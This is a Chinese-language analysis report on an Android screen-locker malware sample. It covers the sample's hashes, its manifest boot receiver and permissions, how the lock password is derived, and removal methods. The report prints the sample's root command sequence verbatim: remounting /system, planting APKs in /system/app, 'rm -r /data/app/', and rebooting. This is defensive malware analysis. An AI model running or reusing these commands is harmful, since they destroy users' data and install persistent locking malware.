病毒分析 - 百变气泡
1.样本信息
病毒名称:126b25e8e9ea5c7cfd3eddc4c500d69bb9cbd821
所属家族:无
MD5值:e7c653a4195cd36f27933b4ef1fe8328
SHA1值:126b25e8e9ea5c7cfd3eddc4c500d69bb9cbd821
CRC32:5f1096a3
病毒行为:a)程序启动后的主界面如图所示,
b)清单文件中恶意组件
<receiver android:name=".BootBroadcastReceiver"> <intent-filter android:priority="2147483647"> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> <intent-filter> <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/> </intent-filter> <intent-filter> <action android:name="android.intent.action.TIME_SET"/> </intent-filter> <intent-filter> <action android:name="android.intent.action.TIMEZONE_CHANGED"/> </intent-filter> <intent-filter> <action android:name="android.intent.action.MEDIA_BAD_REMOVAL"/> <action android:name="android.intent.action.MEDIA_EJECT"/> <action android:name="android.intent.action.MEDIA_MOUNTED"/> <action android:name="android.intent.action.MEDIA_REMOVED"/> <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED"/> <action android:name="android.intent.action.MEDIA_SCANNER_STARTED"/> <action android:name="android.intent.action.MEDIA_SHARED"/> <action android:name="android.intent.action.MEDIA_UNMOUNTED"/> <data android:scheme="file"/> </intent-filter> <intent-filter> <action android:name="android.net.wifi.WIFI_STATE_CHANGED"/> </intent-filter> </receiver> |
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/> <uses-permission android:name="android.permission.VIBRATE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.BROADCAST_STICKY"/> <uses-permission android:name="android.permission.GET_TASKS"/> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/> <uses-permission android:name="android.permission.SET_WALLPAPER"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> |
d)加固情况:
未加固
2.测试环境及工具
反编译工具:Android Killer v1.3
测试工具:夜神模拟器 v3.8
3.分析目标
了解该程序的恶意行为,并题出解决方案
4.主要行为
1).android.permission.SYSTEM_ALERT_WINDOW,显示系统级警报,控制手机屏幕
2).android.permission.DISABLE_KEYGUARD,停用键盘,锁定键盘
3).android.permission.VIBRATE,控制震动器
4).android.permission.RECEIVE_BOOT_COMPLETED,开机自启动
5).android.permission.WRITE_EXTERNAL_STORAGE,允许修该删除SD卡内容
6).android.permission.READ_PHONE_STATE,读取手机身份状态信息
7).android.permission.INTERNET,访问网络
8).android.permission.BROADCAST_STICKY,发送置顶广播
9).android.permission.GET_TASKS,检索当前运行的应用程序
10).android.permission.ACCESS_WIFI_STATE,查看wifi状态
11).android.permission.CHANGE_WIFI_STATE,更改wifi状态
12).android.permission.SET_WALLPAPER,设置壁纸
5.代码片段分析
1).首先进入入口类onCreate中,然后找到了一个按钮响应事件函数,其中初始化了如下字符串:
mount -orw,remount /system,
cp/data/app/Aaron.tencent.kou-1.apk /system/app/,
cp/data/app/Aaron.tencent.kou-2.apk /system/app/,
chmod 644 /system/app/Aaron.tencent.kou-1.apk,
chmod 644 /system/app/Aaron.tencent.kou-2.apk,
rm /data/app/Aaron.tencent.kou-1.apk\n,
rm/data/app/Aaron.tencent.kou-2.apk\n,
rm -r /data/app/,
reboot,
并调用execCommand执行这些命令,这些命令主要含义是:重新挂载/system目录,然后拷贝Aaron.tencent.kou-1.apk和Aaron.tencent.kou-2.apk到/system/app/目录下,并修该这两个文件的属性为可读可写,然后删除/data/app下的源文件,然后删除/data/app下的所有文件,最后重启,如图所示:
2).单击开启软件功能,弹出如图所示提示
3).选择允许后,手机便立刻重启,如下图所示:
4).重启完成后,手机被锁,同时根据之前代码分析,/data/app/目录下文件也被删除,如下图所示:
5).特征码为手机设备ID的第3-10个字符,如下图所示:
6).重启后,程序会发送广播,然后自动启动,如图所示:
7).初始化密码如图所示:
8).对密码进行了加密处理,其中v2为特征码:3940105,v1为用户输入的字符,然后会进行判断是否相等,相等则退出,如下图所示:
9).根据分析写代码测试,将特征码与字符串“koukou”进行加密,每次计算出的密码都不同,如图所示:
public static byte[] encrypt(byte[] arg3, String arg4) { |
6.解决方案
1).病毒关键信息
加密字符串:CF721B298D9456549384BFF6881867C193CD85060C19CCBED99B2C4D160AA729
锁机类:Aaron.tencent.kou.X
包名:Aaron.tencent.kou
类名:Aaron.tencent.kou.Y
2).查杀方式查杀方式一:使用adb命令通过包名进行卸载,然后在/system/app目录下将软件包删除,或者使用monitor工具进行删除
查杀方式二:通过使用过滤包名和类名编写对应的专杀工具。
查杀方式三:如果在模拟器中测试,则取消root即可,然后再重复查杀方式一的步骤。
查杀方式四:通过分析加密方式,找到对应的加密算法,编写解密算法,计算密码,由于使用了jce相关的API,所以每次得到的密码都不同,则可以通过AS动态调试smali,动态获取到密码:D2BB9FA72F5ABEB9CFD9DEDD80DC8DFB